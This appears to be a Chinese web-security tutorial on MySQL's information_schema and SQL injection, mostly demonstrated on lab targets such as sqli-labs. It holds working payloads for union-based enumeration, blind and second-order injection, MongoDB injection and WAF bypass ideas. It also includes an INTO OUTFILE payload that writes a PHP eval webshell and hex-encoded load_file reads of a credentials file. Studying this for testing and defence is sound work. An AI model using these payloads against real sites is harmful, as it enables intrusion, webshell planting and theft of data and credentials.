Web安全—information_schema数据库详解&基础补充

Posted the zl

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web安全—information_schema数据库详解&基础补充相关的知识,希望对你有一定的参考价值。

Web安全—information_schema数据库

前言:在SQL注入中,information_schema数据库中包含的信息特别重要,通过这个表我们可以去获取到存在SQL注入网站的表,列,等信息,其危害不言而喻。

一:information_schema数据库

基础:information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新)
mysql5.0以下:多用户单操作,不存在information_schema数据库
mysql5.0以上:多用户多操作,存在information_schema数据库

information_schema数据库说明:
重要表说明:
1,information_schema.schemata表:此表存放了当前数据库管理系统下所有的数据库,效果等同于show databases;命令

schema_name列:其包含了当前数据库管理系统中所有的数据库,如上
SQL注入利用:可通过语句:
select schema_name from information_schema.schemata; 获取到当前数据库管理系统中所有的数据库
2,information_schema.tables表: 此表存放了当前数据库管理系统下所有数据库的表,效果等同于所有数据库下show tables的合集
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集,可通过语句查看:select table_schema from information_schema.tables limit 1,5;

3,information_schema.columns表:此表存放了当前数据库管理系统中所有的列名

table_name列:记录当前数据库管理系统下表的合集
table_schema列:记录当前数据库管理系统下数据库名的合集
column_name列:记录当前数据库管理系统下的所有列的合集
例如:查看数据库名称为websec下所有的列,语句:select column_name from information_schema.columns where table_schema='websec';

SQL注入利用思路:SQL注入利用information_schema数据库思路(mysql版本高于5.0版本)
1,如果某Web网站存在SQL注入,通过select database()函数可以判断当前数据库,select version()select user()判断当前数据库版本和当前登陆数据库用户

2,使用information_schema.table查询当前数据库包含哪些表,语句:
select table_name from information_schema.tables where table_schema='websec';

3,通过步骤2所查表名获取当前当前表中的列:语句:
select column_name from information_schema.columns where table_name='websec';

4,通过所查列名,数据表,数据库名获取当前数据库信息,达到可利用信息的获取,语句:
select * from websec.websec;或select id,name,sex from websec;

如果获取到的信息包括账户和密码,则可以通过目录爆破找到后台登陆页面,通过SQL注入获取到的账户和密码登陆网站后台,然后通过其他手段,例如文件上传等利用,获取webshell,拿到Web应用服务器权限。

二:其他常见函数补充

mysql其他基础和常见函数可参考文章:SQL注入—MYSQL基础语句(持续更新)附图
concat(username):将查询到的username连在一起,默认通过逗号分隔
group_concat(username):将查询到的username连在一起,默认通过逗号分隔
group_concat(str1,‘?’,‘str2’):将查询到的内容通过问号分隔开,concat同样也适用

三:SQL注入常见分类

1,按照注入点类型分类
数字型
字符型
搜索型
2,按照注入点位置分类
GET
POST
Cookie
HTTP头部(XFF,User-Agent,REFERER等)
3,按照回显类型分类
基于事件的盲注
基于布尔类型的盲注
报错注入
联合注入
堆查询注入(执行多条语句的情况下)

参考学习文章:

SQL注入漏洞详解
SQL注入—MYSQL基础语句(持续更新)附图

web安全 浅谈sql注入

WEB漏洞 SQL注入

注入思路

Mysql注入

  1. 信息收集
    收集用户名,版本,数据库名等等为后续做铺垫
  2. 数据注入
    1). 低版本注入:
    暴力猜解,用ascII码进行猜字段等等
    2). 高版本注入:
    在mysql5以上的版本存在Information_schema库
    3). 高权限注入
    高权限注入时有更多的 攻击手法,有的能直接进行 getshell 操作。
    首先要明确注入的用户

    Root在数据库中是最高权限的注入 在高权限的用户下完成的注入可以实现跨库等等
    通过查询root权限下的Information_schema表获得其他网站的数据库名,表名,列名等等
    在root数据库权限下
    首先获取数据库名字
    /?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

    在获取challenges的表名
    ?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27challenges%27

查询7zdly2237g表中数据
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27challengs%27

发现是空表……
如果这里不是空表则可以继续查询其他数据,比如如果有admin等等列名则可以继续查询admin的信息
?id = -1‘ union select 1,group_concat(column_name),3 from information_schema.colummns where table_name=’admin’ and table_scheam=’ 7zdly2237g’

文件读写操作

读取文件:select load_file(‘文件位置’)
一般来说是读取默认文件 或者 读取一些盘下的固定文件具体可以参考
https://blog.csdn.net/weixin_30292843/article/details/99381669
写入文件:select ‘内容’ into outfile 文件位置

先试试写入文件
?id=-2%20union%20select%201,%27%3C?php%20@eval($_POST[%22attack%22]);?%3E%27,3%20into%20outfile%20%27C:\\Phpstudy\\WWW\\3.txt%27%20–+


现在试试读取刚刚的文件
?id=-2%20%20union%20select%201,%20%20load_file%20(“C:\\Phpstudy\\WWW\\3.txt”)%20,3–+

获取路径的方法:

报错显示,当输入一些代码后导致报错,可以直接看见路径
遗留文件:phpinfo.php等等
漏洞报错:
平台配置文件:当知道对方是什么搭建的网站后进行猜测对方的配置文件
扫描爆破:爆破网站常见路径

常见的文件读写问题:魔术引号.
magic_quotes_gpc:
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\\)与 NULL(NULL 字符)等字符,都会被加上反斜线。
此时输入以上的代码

采用宽字节或者编码绕过
?id=-2%20%20union%20select%201,%20%20load_file%20(0x433a5c50687073747564795c5757575c73716c6c6962735c73716c692d6c6162732d6d61737465725c73716c2d636f6e6e656374696f6e735c64622d63726564732e696e63)%20,3–+
0x是用16进制编码,给计算机声明此编码为16进制
用编码绕过可以防止使用特定符号

相关防注入

  1. 魔术符号

  2. 内置函数:int等等
    检测输入的字符含有什么
    判断输入的字符是否含有危险字符,甚至判断输入的字符是否不是数字

    使用is_int($id)函数判断是否为整数
    这里判断id是否为整数
    这通过所以显示false稍加修改则可让我们看不见回显信息.

  3. 自定义关键字:
    如select,union等等
    用内置的str_replace函数进行对关键字的替换和过滤

    id = str_replace(‘select’,‘123456’,$id);将select替换成123456
    执行后报错成为

  4. 安全防护软件:
    安全狗,宝塔等等

  5. 绕过方法:
    1).更改提交方式
    2).大小写混合
    3).解密编码类
    4).注释符混用
    5).等价函数替换
    6).特殊符号混用
    7).借助数据库特性
    8).http参数污染
    9).垃圾数据溢出

类型及提交方式注入

类型

就类型来说我认为区别不大,闭合方式不同所造成的注入语句不一样其中 SQL 语句干扰符号:’,",%,),等,具体需看写法

  1. 数字: 类似?id=1 这种形式的注入一般被叫做数字型注入,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。
  2. 字符: 类似?id=name这种形式,其注入点 name 类型为字符类型,这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’,值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。在注入时需要将引号处理掉。
  3. 搜索: 这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ ,在注入的时候需要过滤掉引号和百分号。
  4. Json

提交方式

1.)请求方法:

POST、REQUEST和GET的区别:

首先写入这个php文件,定义g用get传参,p用post传参
打开这个网站给两个变量分别传入参数

发现只有handsome显示也就是说只有get方式传入的参数显示
抓包发现,这个请求是用的get方式请求的数据,所以post方式无法使用

接下来换成post请求方式

这时两个参数都可以显示 说明在post方式中get依然可以使用,而request在任何时候都可以使用。![在这里插入图片描述](https://img-blog.csdnimg.cn/4d0ebf03e2fb4f80a04a8cc992e45df1.pngPost注入:
Sqllibs第十一关

其他数据库类型

Acesse,mssql,mongoDB,postgresql,sqllite,oracle,sybase等

注入工具:sqlmap,nosqlattack,pangolin等

Access数据库
表名
列名
数据名

Mysql,mssql等
数据库A
表名
列名
数据
数据库B
……

Access注入主要是猜,通过猜表名,列名来获取数据,只有一个数据库。

Access注入的偏移注入

MongoDb
Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的
这里用墨者的靶场开始演示:
输入’发现回显错误

根据源代码截图

构建注入语句:
http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:1,content:%272

爆出数据库名
http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:tojson(db),content:%272

爆出表名http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:tojson(db.getCollectionNames()),content:%272
这里使用了getCollectNames()查询现有的所有表

爆出字段
http://219.153.49.228:43945/new_list.php?id=1%27);%20return%20(title:tojson(db.Authority_confidential.find()[0]),content:%271
db.Authority_confidential是当前查询的表,find函数用于查询,0是第一条数据

报错及盲注
首先了解一下sql语句的截取常用函数
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
具体可以参考:https://www.cnblogs.com/lcamry/p/5504374.html

基于时间的盲注

这里用sqllibs 5演示

这里用and sleep(if(length(database())=8,5,0))–+
首先用length判断database的长度是否为8,再通过if返回结果,若为真则返回5,假则返回0,最后用sleep通过加载时间来判断是返回了5秒还是0秒
但是时间盲注可能会受到网络延迟的影响,一般不使用

布尔盲注

首先用length猜测长度

这里可以判断出数据库的长度为8
再用left判断数据库的version

这里可以判断version为5.5以上
再使用left判断数据库名称


这里跳过后续操作 得知数据库名为security
然后猜解列名
?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’–+
……

二次,加解密,dns注入

  1. 二次注入
    二次注入就是首先插入恶意语句,等程序代入数据库执行后形成sql注入
    大致是:在注册的时候使用admin‘ and 1=1,当数据库更新的时候执行updata 语句达成sql注入要形成二次注入一般需要代码审计
    这里用Sqllibs 24关进行演示
    首先在建立用户的时候建立admin‘#

注册成功后登录数据库查看

然后我们用admin‘#登录过后修改密码

通过数据库可以查看到admin的密码被修改了
而admin‘#的密码没有改变

  1. 加解密注入
    加解密注入是因为注入点存在解密的情况,如果输入源内容在解密则实际输入的内容可能会与我们预期内容不符,这时候就需要加解密注入了
    Sqllibs 21关

这里登录过后我们可以看到
Cookie是加密生成的
这里我们对cookie进行修改
uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
加密后

可以看到路径base的路径为c:/phpstudy/mysql/
uname=admin1’and extractvalue(1,concat(0x7e,(select database),0x7e))#

数据库名为security
Dnslog注入
可以解决盲注无法回显,效率低的情况
主要是利用load_file函数将数据外带出来
具体可以参考
https://www.cnblogs.com/Xy–1/p/12896599.html

堆叠注入
多条语句同时注入
Sqllibs-38

WAF绕过

绕过思路

提交方式绕过:

前提是被提交的方式必须是可以被接收的
如:get与post 用get方式可以在任意的提交方式中传输,而后台是用的post提交数据,若使用post则无法正常传入参数.
注释符号混用

Fuzz

用脚本不断生成请求包,成功返回的则绕过了,相当于暴力破解

白名单

Ip白名单
从网络层获取ip,若获取了客户端的ip,这样就有可能伪造IP绕过的情况
url白名单

以上是关于Web安全—information_schema数据库详解&基础补充的主要内容,如果未能解决你的问题,请参考以下文章

web安全 浅谈sql注入

web安全 浅谈sql注入

web安全 浅谈sql注入

web安全 浅谈sql注入

mysql 手注入之information_schema数据库详解

WEB安全 php+mysql5注入防御